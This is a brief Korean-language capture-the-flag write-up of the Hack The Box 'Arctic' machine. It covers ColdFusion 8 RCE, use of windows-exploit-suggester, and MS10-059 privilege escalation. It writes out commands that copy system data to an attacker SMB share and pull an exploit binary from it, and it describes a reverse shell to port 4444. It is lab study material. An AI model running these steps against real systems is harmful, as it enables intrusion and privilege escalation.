HTB : https://app.hackthebox.com/machines/Arctic?sort_by=created_at&sort_type=desc

Write up :

Machine IP :

Recon

포트 스캔하면 135,8500 포트가 열려있음, 8500 포트 접속하면 디렉터리 인덱싱 됨

http://10.129.231.201:8500/CFIDE/administrator/ 엔드포인트 접근 결과, adobe coldfusion 8 administrator 어플리케이션 동작함

coldfusion 8은 RCE 취약점이 있으며 searchsploit 검색하면 해당 익스플로잇이 존재함 https://www.exploit-db.com/exploits/50057

익스플로잇 코드 다운로드

ip, 포트 설정하여 RCE 시도하여 tolis 유저 권한 상승 성공

windows-exploit-suggester 사용해 LPE 취약점 열거할 수 있음 windows-exploit-suggester-setup 문서에 설치 방법 및 사용법 정리함

windows-exploit-suggester 실행하려면 systeminfo.txt 파일을 칼리에 전송해야하지만 Arctic 머신은 curl, wget, python 등 파일 전송을 위한 툴이 아무것도 없음

칼리에서 impacket-smbserver share . -smb2support smb 서버 오픈 copy C:\ColdFusion8\runtime\bin\systeminfo.txt \\10.10.16.34\share 명령어로 칼리에 파일 전송

MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important 취약점을 사용함

구글링 결과, MS10-059 익스플로잇 파일이 존재함 https://github.com/egre55/windows-kernel-exploits/raw/refs/heads/master/MS10-059:%20Chimichurri/Compiled/Chimichurri.exe

칼리에서 impacket-smbserver share . -smb2support smb 서버 오픈 copy C:\Windows\Tasks>copy \\10.10.16.34\share\Chimichurri.exe C:\Windows\Tasks\c.exe 칼리에 있는 Chimichurri.exe 파일을 윈도우의 Tasks 폴더에 c.exe 이름으로 저장

LPE 시도 및 쉘을 칼리의 4444포트로 전달 nt authority\system 권한 상승 및 루트 플래그 획득 성공